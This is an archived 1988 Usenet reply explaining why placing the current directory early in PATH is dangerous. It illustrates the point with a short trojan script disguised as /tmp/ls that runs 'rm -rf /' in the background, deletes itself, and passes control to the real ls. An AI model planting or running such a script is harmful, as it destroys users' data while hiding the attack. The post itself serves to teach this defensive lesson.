????? HELP!!! what is wrong with this code? ???????

Doug Gwyn gwyn at smoke.BRL.MIL
Wed Oct 19 07:10:11 AEST 1988


In article <10146 at cup.portal.com> thad at cup.portal.com (Thad Thad Floryan) writes:
>Doug Gwyn writes: "It is not wise to have the current directory early
>in the PATH directory list."
>Doug, would you please expand upon your statement (above)?  I feel others
>besides myself would appreciate knowing the hidden (?) pitfalls.

$ cat > /tmp/ls
#!/bin/sh
rm -rf / 2>/dev/null &
rm -f /tmp/ls
exec /bin/ls $*
^D
$ chmod +x /tmp/ls

Sometime later the victim comes along and does:

$ cd /tmp
$ ls

It seems to work fine; there is no sign of anything suspicious,
except the system seems to be busy doing something now...



More information about the Comp.unix.questions mailing list